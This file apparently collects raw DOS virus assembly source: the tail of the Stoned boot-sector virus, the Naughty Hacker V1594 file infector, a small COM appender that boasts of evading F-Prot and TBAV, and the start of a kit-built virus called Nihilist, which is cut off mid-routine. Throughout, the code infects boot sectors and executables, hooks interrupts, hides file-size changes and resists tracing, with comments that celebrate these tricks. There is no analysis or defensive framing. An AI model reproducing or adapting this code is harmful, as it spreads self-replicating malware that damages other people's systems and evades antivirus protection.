MOV AL,BB043F ; Get motor timeout counter
TEST AL,1 ; Is drive zero running
JNZ BP0030 ; Branch if not
CALL BP0040 ; Call infection routine
BP0030: POP AX
POP DS
JMP INT_13 ; Pass control to Int 13H
; Infection routine
BP0040: PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; Retry count
BP0050: MOV AX,201H ; Read one sector
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV BX,200H ; Boot sector buffer
XOR CX,CX ; Clear register
MOV DX,CX ; Head zero, drive A
INC CX ; Track zero, sector 1
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JNB BP0060 ; Branch if no error
XOR AX,AX ; Reset disk sub-system
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
DEC SI ; Decrement retry count
JNZ BP0050 ; Retry
JMP BP0080 ; No more retries
BP0060: XOR SI,SI ; Start of program
MOV DI,200H ; Boot sector buffer
CLD
PUSH CS ; \ Set DS to CS
POP DS ; /
LODSW ; Get first word
CMP AX,[DI] ; Test if same
JNE BP0070 ; Install if not
LODSW ; Get second word
CMP AX,[DI+2] ; Test if same
JE BP0080 ; Branch if same
BP0070: MOV AX,301H ; Write one sector
MOV BX,200H ; Boot sector buffer
MOV CL,3 ; Sector 3
MOV DH,1 ; Head 1
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JB BP0080 ; Branch if error
MOV AX,301H ; Write one sector
XOR BX,BX ; This sector
MOV CL,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
BP0080: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
; Install in high core
BP0110: XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
CLI
MOV SS,AX ; \ Set stack to boot sector area
MOV SP,7C00H ; /
STI
MOV AX,BW004C ; Get Int 13H offset
MOV I13_OF,AX ; Store in jump offset
MOV AX,BW004E ; Get Int 13H segment
MOV I13_SG,AX ; Store in jump segment
MOV AX,BW0413 ; Get total RAM size
DEC AX ; \ Subtract 2k
DEC AX ; /
MOV BW0413,AX ; Replace total RAM size
MOV CL,6 ; Bits to move
SHL AX,CL ; Convert to Segment
MOV ES,AX ; Set ES to segment
MOV HICOSG,AX ; Move segment to jump address
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
MOV BW004C,AX ; Set new Int 13H offset
MOV BW004E,ES ; Set new Int 13H segment
MOV CX,OFFSET ENDADR ; Load length of program
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR SI,SI ; \ Set pointers to zero
MOV DI,SI ; /
CLD
REP MOVSB ; Copy program to high core
JMP HIGHCO ; Branch to next instruc in high core
; Continue processing in high core
BP0120: MOV AX,0 ; Reset disk sub-system
INT 13H ; Disk I/O
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
ASSUME DS:NOTHING,ES:RAM
MOV AX,201H ; Read one sector
MOV BX,7C00H ; Boot sector buffer address
CMP DRIVEN,0 ; Test drive is A
JE BP0130 ; Branch if yes
MOV CX,7 ; Track zero, sector 7
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
; Floppy disk
BP0130: MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Side one, drive A
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
TEST BB046C,7 ; Test low byte of time
JNZ BP0140 ; Branch if not 7
MOV SI,OFFSET MESSAGE ; Load message address
PUSH CS ; \ Set DS to CS
POP DS ; /
BP0135: LODSB ; Get next byte of message
OR AL,AL ; Is it zero
JZ BP0140 ; Branch if yes
MOV AH,0EH ; Write TTY mode
MOV BH,0
INT 10H ; VDU I/O
JMP BP0135 ; Process next byte
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,201H ; Read one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CL,1 ; Sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,200H ; C-disk boot sector buffer
MOV DI,0 ; Start of program
LODSW ; Get first word
CMP AX,[DI] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
LODSW ; Get second word
CMP AX,[DI+2] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
BP0150: MOV DRIVEN,0 ; Drive A
JMP BOOTST ; Pass control to boot sector
; Install on C-disk
BP0160: MOV DRIVEN,2 ; Drive C
MOV AX,301H ; Write one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,7 ; Track zero, sector 7
MOV DX,80H ; side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV SI,OFFSET MESS02+200H ; Target offset
MOV DI,OFFSET MESS02 ; Source offset
MOV CX,OFFSET 400H-MESS02 ; Length to move
REP MOVSB ; Copy C-disk boot sector
MOV AX,301H ; Write one sector
XOR BX,BX ; Write this sector
INC CL ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
MESS02 DB 'LEGALISE MARIJUANA!'
ENDADR EQU $
CODE ENDS
END START

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,958 @@
.radix 16
;*********************************
;* The Naughty Hacker's virus *
;*VERSION 3.1 (And not the last.)*
;* ( V1594 ) *
;* Finished on the 10.04.1991 *
;* *
;* Glad to meet you friend! *
;* *
;*********************************
;
; "It's hard to find a black cat in a dark room, especially if it's not there."
;
; °¥¤ ¢ ± ±²®¨ ®°¨£¨­ «­¨¿ ²¥ª±² ­  V1594 ( ª® ¬®¦¥ ² ª  ¤  ª ¦¥ !@!?!).
; €¢²®°º² (Š®­¿) ¯°¥¤¢ °¨²¥«­® ¯°¥¤³¯°¥¦¤ ¢ ,·¥ ­¥ ¦¥« ¥ ²®§¨ ²¥ª±² ¤  ¡º¤¥
; ¯°®¬¥­¿­ ¯® ­¨ª ªº¢ ­ ·¨­, ­®  ª® ¦¥« ¥²¥ ¤  £® ³±º¢º°¸¥­±²¢ ²¥ ¬®¦¥ ¤ 
; ­ ¯° ¢¨²¥ ²®¢  ­ ¯º«­® ±¢®¡®¤­® ¯°¨ ¥¤¨­±²¢¥­®²® ³±«®¢¨¥, ·¥ ¢ ¯®«³·¥­ ² 
; ­®¢  ¢¥°±¨¿ ­¿¬  ¤  ¨¬  ­¨ª ª¢¨ ° §°³¸¨²¥«­¨ ´³­ª¶¨¨.
; €¢²®°º² ­¥ ¯®¥¬  ­¨ª ª¢  ®²£®¢®°­®±² §  ¹¥²¨ ¯°¨·¨­¥­¨ ®² ‚ˆ“‘€ ......
;
; „  ±¥ ª®¬¯¨«¨°  ­  TURBO ASSEMBLER Ver 1.03B.  ª  ¯®«³·¥­¨¿ ª®¤ ¥ £®²®¢
; §  ±² °²¨° ­¥ ¨ ....
;
; ®§¤° ¢¨ ¤® ¢±¨·ª¨ VIRUSWRITERS !
;
;
; To be continued ...
;
call Start_Virus
mov dx,offset Hellomsg
mov ah,9
int 21
int 20
Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$'
Virus_lenght equ endcode-adjust
alllen equ buffer-adjust
adjust label word
IP_save label word
First_3 Label Byte
;For .COM file here stores
ret
nop
nop
CS_save dw ? ;The first 3 bytes
SP_save dw ?
SS_save dw 0FFFF ;0FFFF For COM files
signature:
db 'N.Hacker' ;It's me the HORSE !!!
date_stamp:
dd 10041991 ;10.04.1991
Run_The_Program:
pop ds ;Restore saved ds,es,ax
pop es ;ds=es=PSP
pop ax
cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program
je Run_COM_File
mov ax,ds ;Calculate load segment
add ax,10
mov bx,ax
add ax,cs:[bp+CS_save-adjust] ;Calculate CS value
add bx,cs:[bp+SS_save-adjust] ;Calculate SS value
mov ss,bx ;Run .EXE program
mov sp,word ptr cs:[bp+SP_save-adjust]
push ax
push word ptr cs:[bp+IP_save-adjust]
retf
Run_COM_File:
mov di,100
mov si,bp
movsb ;Restore the first 3 bytes
movsw ;Run .COM program
mov bx,100
push bx
sub bh,bh
ret
;*******************************************************************
; *
; This is the program entry.... *
; *
;*******************************************************************
Start_Virus:
call Get_IP ;This is to get the IP value.
Get_IP:
pop bp ;Get it in BP.
sub bp,Get_IP-adjust ;adjust BP point to the begining
cld ;Clear direction flag
push ax ;Save some registres
push es
push ds
mov es,[2] ;get last segment
mov di,Run_The_Program-adjust ;(last segment=segment of virus)
push ds
push cs
pop ds
mov si,di
add si,bp
mov cx,endcode-Run_The_Program
rep cmpsb ;check if virus is in memory
pop ds
push ds
pop es
je Run_The_Program ;If so then run the program
mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
mov ax,ds
dec ax
mov ds,ax ;ds=MCB
sub word ptr [3],80 ;Set block size
sub word ptr [12],80 ;Set last segment
mov es,[12] ;steal some memory (2K)
push cs
pop ds
sub di,di
mov si,bp ;prepare to move in high mem
mov cx,alllen ;will move virus+variables
rep movsb ;copy there
push cs
mov ax,Run_The_Program-adjust
add ax,bp
push ax
push es
mov ax,offset Set_Vectors-adjust ;Set vectors
push ax
retf
Find_First_Next:
call Call_Original_INT_21h ;fuck when do the dir command
push bx
push es
push ax
or al,al
jnz Go_Out_ ;if error
mov ah,2f ;get DTA address
int 21
mov al,byte ptr es:[bx+30d] ;Seconds in al
and al,31d ;Mask seconds
cmp al,60d/2 ;Seconds=60?
jne Go_Out_
mov ax,es:[bx+36d]
mov dx,es:[bx+38d] ;Check File size
cmp ax,Virus_lenght*2
sbb dx,0
jb Go_Out_
Adjust_Size:
sub es:[bx+28d+7+1],Virus_lenght ;Adjust size
sbb es:[bx+28d+2+7+1],0
Go_Out_:
pop ax
pop es ;Return to caller
pop bx
iret
Find_First_Next1:
call Call_Original_INT_21h
pushf
push ax
push bx ;fuck again
push es
jc Go_Out_1
mov ah,2f
int 21
mov al,es:[bx+22d]
and al,31d
cmp al,60d/2
jne Go_Out_1
mov ax,es:[bx+26d]
mov dx,es:[bx+28d]
cmp ax,Virus_lenght*2
sbb dx,0
jb Go_Out_1
Adjust_Size1:
sub es:[bx+26d],Virus_lenght
sbb es:[bx+28d],0
Go_Out_1:
pop es
pop bx
pop ax ; Dummy proc far
popf ; ret 2
db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long...
;*************************************
; *
; Int 21 entry point. *
; *
;*************************************
INT_21h_Entry_Point:
cmp ah,11
je Find_First_Next ;Find First Next (old)
cmp ah,12
je Find_First_Next
cmp ah,4e ;Find First Next (new)
je Find_First_Next1
cmp ah,4f
je Find_First_Next1
cmp ah,6ch
jne not_create ;Create (4.X)
test bl,1
jz not_create
jnz create
not_create:
cmp ah,3ch ;Create (3.X)
je create
cmp ah,5bh
je create
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov byte ptr cs:[function-adjust],ah
cmp ah,6ch ;Open (4.X)
je create_
cmp ah,3e ;Close
je close_
cmp ax,4b00 ;Exec
je Function_4Bh
cmp ah,17 ;Rename (old)
je ren_FCB
cmp ah,56 ;Rename (new)
je Function_4Bh
cmp ah,43 ;Change attributes
je Function_4Bh
cmp ah,3dh ;Open (3.X)
je open
Return_Control:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
Go_out:
jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21
create_:
or bl,bl ;Create file?
jnz Return_Control
mov dx,si
jmp Function_4Bh
ren_FCB:
cld
inc dx
mov si,dx
mov di,offset buffer-adjust
push di
push cs
pop es ;Convert FCB format Fname into ASCIIZ string
mov cx,8
rep movsb
mov al,'.'
stosb
mov cx,3
rep movsb
sub al,al
stosb
pop dx
push cs
pop ds
jmp Function_4Bh
create:
; cmp word ptr cs:[handle-adjust],0ffff
; jne Go_out
call Call_Original_INT_21h
jc Error
mov word ptr cs:[handle-adjust],ax
jnc Exit_
Error:
mov word ptr cs:[handle-adjust],0ffff ;Useless
Exit_:
; retf 2
db 0ca,2,0
close_:
cmp word ptr cs:[handle-adjust],0ffff
je Return_Control
cmp bx,word ptr cs:[handle-adjust]
jne Return_Control
mov ah,45
call Infect_It
mov word ptr cs:[handle-adjust],0ffff
jmp Return_Control
Function_4Bh:
mov ax,3d00h
open:
call Infect_It
jmp Return_Control
;******************************************
; *
; This infects the programs... *
; *
;******************************************
Infect_It:
call Call_Original_INT_21h ;this is the infecting part
jnc No_error
ret
No_error:
xchg ax,bp
mov byte ptr cs:[flag-adjust],0
mov ah,54
call Call_Original_INT_21h
mov byte ptr cs:[veri-adjust],al
cmp al,1 ;Switch off verify...
jne Go_On_Setting
mov ax,2e00
call Call_Original_INT_21h
Go_On_Setting:
push cs
push cs
pop ds
pop es
mov dx,offset DOS_13h-adjust
mov bx,dx ;Set New DOS int 13h
mov ah,13
call Call_Original_INT_2Fh
mov ax,3513
call Call_Original_INT_21h
push bx
push es
mov word ptr cs:[current_13h-adjust],bx
mov word ptr cs:[current_13h-adjust+2],es
mov ah,25
mov dx,INT_13h_entry-adjust ;Set int 13h
push cs
pop ds
call Call_Original_INT_21h
mov ax,3524
call Call_Original_INT_21h
push bx
push es
mov ah,25
mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
call Call_Original_INT_21h
xchg bx,bp
push bx
mov ax,1220
call Call_Original_INT_2Fh
mov bl,es:[di] ;Remember the good old V512 ?
mov ax,1216
call Call_Original_INT_2Fh
pop bx
add di,11
mov byte ptr es:[di-15d],2
mov ax,es:[di]
mov dx,es:[di+2]
cmp ax,Virus_lenght+1
sbb dx,0
jnb Go_on
jmp close
Go_on:
cmp byte ptr cs:[function-adjust],3dh
je Scan_name
cmp byte ptr cs:[function-adjust],6ch
jne Dont_Scan_Name
Scan_name:
push di
add di,0f
mov si,offset fname-adjust ;wasn't that the last opened file?
cld
mov cx,8+3
rep cmpsb
pop di
jne Dont_Scan_Name
jmp close
Dont_Scan_Name:
cmp es:[di+18],'MO'
jne Check_For_EXE ;check for .COM file
cmp byte ptr es:[di+17],'C'
jne Check_For_EXE
jmp com
Check_For_EXE:
cmp es:[di+18],'EX'
jne Not_good ;check for .EXE file
cmp byte ptr es:[di+17],'E'
je Check_For_Valid_EXE
Not_good:
jmp close
Check_For_Valid_EXE:
call Read_First_18
cmp word ptr [si],'ZM'
je Valid_EXE ;check for valid .EXE file
cmp word ptr [si],'MZ'
je Valid_EXE
jmp close
Valid_EXE:
cmp word ptr [si+0c],0ffff ;only low-mem .EXE
je Low_Mem
jmp close
Low_Mem:
mov cx,[si+16]
add cx,[si+8] ;Something common with EDDIE..
mov ax,10
mul cx
add ax,[si+14]
adc dx,0
mov cx,es:[di]
sub cx,ax
xchg cx,ax
mov cx,es:[di+2]
sbb cx,dx
or cx,cx
jnz Not_Infected_EXE ;infected?
cmp ax,(endcode-Start_Virus)
jne Not_Infected_EXE
jmp close
Not_Infected_EXE:
mov ax,[si+10]
mov [SP_save-adjust],ax
mov ax,[si+0e]
mov [SS_save-adjust],ax
mov ax,[si+14]
mov [IP_save-adjust],ax
mov ax,[si+16]
mov [CS_save-adjust],ax ;set the new header
mov ax,es:[di]
mov dx,es:[di+2]
add ax,Virus_lenght
adc dx,0
mov cx,200 ;(C) by Lubo & Jan...
div cx
mov [si+2],dx
or dx,dx
jz OK_MOD
inc ax
OK_MOD:
mov [si+4],ax
mov ax,es:[di]
mov dx,es:[di+2]
mov cx,4
push ax
Compute:
shr dx,1
rcr ax,1
loop Compute
pop dx
and dx,0f
sub ax,[si+8]
add dx,Start_Virus-adjust
adc ax,0
mov [si+14],dx
mov [si+16],ax
add ax,(Virus_lenght)/16d+1
mov [si+0eh],ax
mov [si+10],100
write:
mov ax,5700
call Call_Original_INT_21h
push cx
push dx
sub cx,cx
mov es:[di+4],cx
mov es:[di+6],cx
mov cl,20
xchg cl,byte ptr es:[di-0dh]
push cx
mov ah,40 ;this writes the first few bytes and glues the virus
mov dx,buffer-adjust
mov cx,18
call Call_Original_INT_21h
mov ax,es:[di]
mov es:[di+4],ax
mov ax,es:[di+2]
mov es:[di+6],ax
call Check_For_COMMAND ;(C)
jne Dont_Adjust_Size
sub es:[di+4],Virus_lenght
sbb es:[di+6],0 ;???????????????????????????????
Dont_Adjust_Size:
mov ah,40
sub dx,dx
mov cx,Virus_lenght
call Call_Original_INT_21h
pop cx
mov byte ptr es:[di-0dh],cl
pop dx
pop cx
cmp byte ptr cs:[flag-adjust],0ff
je Set_Time_and_Date
exit:
call Check_For_COMMAND
je Set_Time_and_Date
and cl,11100000b
or cl,60d/2
Set_Time_and_Date:
mov ax,5701
call Call_Original_INT_21h
close:
mov ah,3e
call Call_Original_INT_21h
push es
pop ds
mov si,di
add si,0f
mov di,fname-adjust
push cs
pop es
mov cx,8+3 ;save the fname to a quit place
cld
rep movsb
push cs
pop ds
cmp byte ptr cs:[flag-adjust],0ff
jne Dont_Clear_Buffers
mov ah,0dh ;if error occured->clear disk buffers
call Call_Original_INT_21h
Dont_Clear_Buffers:
les bx,[org_13h-adjust]
lds dx,[org_13h-adjust]
mov ah,13
call Call_Original_INT_2Fh
cmp byte ptr cs:[veri-adjust],1
jne Restore_Vectors
mov ax,2e01
call Call_Original_INT_21h
Restore_Vectors:
sub ax,ax
mov ds,ax
pop [24*4+2]
pop [24*4]
pop [13*4+2]
pop [13*4] ;restore vectors and return
ret
com:
test byte ptr es:[di-0dh],4 ;if it is a system file
jnz Not_OK_COM_File ;I had some problems here with
;V1160 & V1776 (with the ball)
cmp es:[di],65535d-Virus_lenght*2-100
ja Not_OK_COM_File
call Read_First_18
cmp byte ptr [si],0E9
jne OK_COM_file
mov ax,es:[di]
sub ax,[si+1] ;infected?
cmp ax,(endcode-Start_Virus+3)
je Not_OK_COM_File
OK_COM_file:
mov word ptr [SS_save-adjust],0FFFF
push si
lodsb
mov word ptr [First_3-adjust],ax
lodsw
mov word ptr [First_3-adjust+1],ax
pop si
mov ax,es:[di]
add ax,Start_Virus-adjust-3
call Check_For_COMMAND
jne Normally
sub ax,Virus_lenght
Normally:
mov byte ptr [si],0E9
mov word ptr [si+1],ax
jmp write
Not_OK_COM_File:
jmp close
Set_Vectors:
sub ax,ax
mov ds,ax
push [1*4]
push [1*4+2] ; <= (C) by N.Hacker.
pushf
pushf
pushf
pushf
mov byte ptr cs:[flag-adjust],ah
mov byte ptr cs:[my_flag-adjust],ah
mov word ptr cs:[limit-adjust],300
mov word ptr cs:[mem_-adjust],org_21h-adjust
mov [1*4],offset trap-adjust
mov [1*4+2],cs
call set_trace
mov ax,3521
call dword ptr [21h*4]
mov byte ptr cs:[flag-adjust],0
mov word ptr cs:[mem_-adjust],org_2fh-adjust
call set_trace
mov ax,1200
call dword ptr [2fh*4] ;do trace int 2f
mov byte ptr cs:[flag-adjust],0
mov byte ptr cs:[my_flag-adjust],0FF
mov word ptr cs:[limit-adjust],0C800
mov word ptr cs:[mem_-adjust],org_13h-adjust
call set_trace
sub ax,ax
mov dl,al
call dword ptr [13h*4] ;do trace int 13
mov byte ptr cs:[flag-adjust],0
mov word ptr cs:[limit-adjust],0F000
mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
call set_trace
sub ax,ax
mov dl,al
call dword ptr [13h*4]
pop [1*4+2]
pop [1*4]
les ax,[21*4]
mov word ptr cs:[current_21h-adjust],ax ;get old int 21
mov word ptr cs:[current_21h-adjust+2],es
mov [21*4], INT_21h_Entry_Point-adjust ;set it
mov [21*4+2],cs
retf
set_trace:
pushf
pop ax
or ax,100
push ax
popf
ret
trap:
push bp
mov bp,sp
push bx
push di
cmp byte ptr cs:[flag-adjust],0ff
je off
mov di,word ptr cs:[mem_-adjust]
mov bx,word ptr cs:[limit-adjust]
cmp [bp+4],bx
pushf
cmp word ptr cs:[my_flag-adjust],0ff
jne It_Is_JA
popf
jb Go_out_of_trap
jmp It_Is_JB
It_Is_JA:
popf
ja Go_out_of_trap
It_Is_JB:
mov bx,[bp+2]
mov word ptr cs:[di],bx
mov bx,[bp+4]
mov word ptr cs:[di+2],bx
mov byte ptr cs:[flag-adjust],0ff
off:
and [bp+6],0feff
Go_out_of_trap:
pop di
pop bx
pop bp
iret
Call_Original_INT_21h:
pushf
call dword ptr cs:[org_21h-adjust]
ret
Call_Original_INT_2Fh:
pushf
call dword ptr cs:[org_2fh-adjust]
ret
INT_24h_entry:
mov al,3
iret
;**************************
; (C) by N.Hacker. *
; (bellow) *
;**************************
INT_13h_entry:
mov byte ptr cs:[next_flag-adjust],0
cmp ah,2
jne Other
cmp byte ptr cs:[function-adjust],03Eh
jne Dont_hide
dec byte ptr cs:[next_flag-adjust]
inc ah
jmp Dont_hide
Other:
cmp ah,3
jne Dont_hide
cmp byte ptr cs:[flag-adjust],0ff
je no_error_
cmp byte ptr cs:[function-adjust],03Eh
je Dont_hide
inc byte ptr cs:[next_flag-adjust]
dec ah
Dont_hide:
pushf
call dword ptr cs:[current_13h-adjust]
jnc no_error_
mov byte ptr cs:[flag-adjust],0ff
no_error_:
clc
db 0ca,02,0 ;retf 2
DOS_13h:
cmp byte ptr cs:[next_flag-adjust],0
je OK
cmp ah,2
je Next
cmp ah,3
jne OK
Next:
cmp byte ptr cs:[next_flag-adjust],1
jne Read
inc ah
jne OK
Read:
dec ah
OK:
test dl,80
jz Floppy
jmp dword ptr cs:[org_13h-adjust]
Floppy:
jmp dword ptr cs:[Floppy_org_13h-adjust]
Read_First_18:
sub ax,ax
mov es:[di+4],ax
mov es:[di+6],ax
mov ah,3f
mov cx,18
mov dx,buffer-adjust
mov si,dx
call Call_Original_INT_21h
ret
Check_For_COMMAND:
cmp es:[di+0f],'OC'
jne Not_COMMAND
cmp es:[di+11],'MM'
jne Not_COMMAND
cmp es:[di+13],'NA'
jne Not_COMMAND ;check for command.com
cmp es:[di+15],' D'
jne Not_COMMAND
cmp es:[di+17],'OC'
jne Not_COMMAND
cmp byte ptr es:[di+19],'M'
Not_COMMAND:
ret
endcode label word
current_21h dd ?
null dd ? ;I forgot to remove this variable...
current_13h dd ?
org_2fh dd ?
org_13h dd ?
org_21h dd ?
Floppy_org_13h dd ?
flag db ? ;0ff if error occures
veri db ?
handle dw ?
fname db 8+3 dup (?)
function db ?
my_flag db ?
limit dw ?
mem_ dw ?
next_flag db ?
buffer label word

@@ -0,0 +1,119 @@
;
; Simple com appender destined to be another SillyC
; so im putting the file name in as the virus name .. nuff said
;
; Unscannable by F-Prot & by TBAV with no flags
; Uses a novel way of beating S flag
;
; Scans as a VCL/IVP variant with AVP/DSAV
;
.model tiny
.code
org 100h
begin:
db 0E9h
dw offset start-103h
start:
call delta
delta:
pop bp
sub bp,offset delta
and word ptr [begin],0
and byte ptr [begin+2],0
or ah,[old_bytes+bp]
or al,[old_bytes+bp+1]
or bh,[old_bytes+bp+2]
or byte ptr [begin],ah
or byte ptr [begin+1],al
or byte ptr [begin+2],bh
and byte ptr [f_string+bp],7Fh
and byte ptr [f_string+bp+1],7Fh
and byte ptr [f_string+bp+2],7Fh
and byte ptr [f_string+bp+3],7Fh
and byte ptr [f_string+bp+4],7Fh
mov dh,1ah
lea ax,[bp+offset dta]
xchg ax,dx
int 21h
mov dh,4eh
find_next:
xor cx,cx
lea ax,[bp+offset f_string]
xchg ax,dx
int 21h
jc done2
mov cl,[dta+1ah+bp]
mov ch,[dta+1bh+bp]
sub cx,3
mov [new_bytes+1+bp],cl
mov [new_bytes+2+bp],ch
mov dx,3D02h
lea ax,[bp+offset dta+1Eh]
xchg ax,dx
int 21h
xchg ax,bx
mov dh,3fh
mov cx,3
lea ax,[bp+offset old_bytes]
xchg ax,dx
int 21h
cmp [bp+old_bytes],0E9h
jne okay
mov ah,3eh
int 21h
mov dh,4fh
jmp find_next
done2:
jmp done
okay:
mov dx,4200h
xor cx,cx
xor ax,ax
xchg ax,dx
int 21h
mov dh,40h
mov cx,3
lea ax,[bp+offset new_bytes]
xchg ax,dx
and byte ptr [n1+bp+1],7fh
n1:
int 0A1h
mov byte ptr [n1+bp+1],0A1h
mov dx,4202h
xor cx,cx
xor ax,ax
xchg ax,dx
int 21h
mov dh,40h
mov cx, offset theend - offset start + 56
or byte ptr [f_string+bp],80h
or byte ptr [f_string+bp+1],80h
or byte ptr [f_string+bp+2],80h
or byte ptr [f_string+bp+3],80h
or byte ptr [f_string+bp+4],80h
lea ax,[bp+offset start]
xchg ax,dx
and byte ptr [n2+bp+1],7fh
n2:
int 0A1h
mov ah,3Eh
int 21h
done:
mov ax,101h
xor bx,bx
xchg ax,bx
xor cx,cx
dec bx
xor dx,dx
push bx
xor bp,bp
xor bx,bx
ret
;danke db 'Nightwak'
theend:
.data
old_bytes db 0c3h,90h,90h
new_bytes db 0E9h, 2 dup (0)
dta db 42 dup(0)
f_string db '*'+80h,'.'+80h,'c'+80h,'o'+80h,'m'+80h,0,0
end begin
@@ -0,0 +1,473 @@
; nihilist.asm : [Nihilist]
; Created with Biological Warfare - Version 0.90á by MnemoniX
PING equ 0D86Bh
PONG equ 043C4h
STAMP equ 25
MARKER equ 0F0FFh
code segment
org 0
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
mov dx,VIRUS_SIZE / 2 + 1
db 0BBh ; decryption module
code_offset dw offset virus_code
decrypt:
db 02Eh,081h,37h ; XOR CS:[BX]
cipher dw 0
inc bx
inc bx
dec dx
jnz decrypt
virus_code:
push ds es
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
xor ax,ax ; mild anti-trace code
mov es,ax ; kill interrupts 1 & 3
mov di,6
stosw
mov di,14
stosw
in al,21h ; lock out & reopen keyboard
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,PING ; test for residency
int 21h
cmp cx,PONG
je installed
mov ax,es ; Get PSP
dec ax
mov ds,ax ; Get MCB
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupts
mov ds,ax
mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw
mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21
installed:
call activate ; activation routine
pop es ds ; restore segregs
cmp sp,MARKER ; check for .EXE
je exe_exit
com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
push ax
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax
mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
pop ax
add ax,cs:[bp + exe_ss] ; restore stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call fix_regs ; fix up registers
sti
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0
exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SS:SP
exe_ss dw -16
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ah,11h ; directory stealth
je dir_stealth
cmp ah,12h
je dir_stealth
cmp ah,4Eh ; directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open
je file_open
cmp ax,4B00h ; execute program
jne int_21_exit
jmp execute
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
ping_pong:
mov cx,PONG
iret
dir_stealth:
call int_21 ; get dir entry
test al,al
js dir_stealth_done
push ax bx es
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 17h] ; check for infection marker
and al,31
cmp al,STAMP
jne dir_fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Fh],0
dir_fixed:
pop es bx ax
dir_stealth_done:
iret
dir_stealth_2:
pushf
call dword ptr cs:[old_int_21]
jc dir_stealth_done_2
check_infect2:
push ax bx es
mov ah,2Fh
int 21h
mov ax,es:[bx + 16h]
and al,31 ; check timestamp
cmp al,STAMP
jne fixed_2
sub es:[bx + 1Ah],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Ch],0
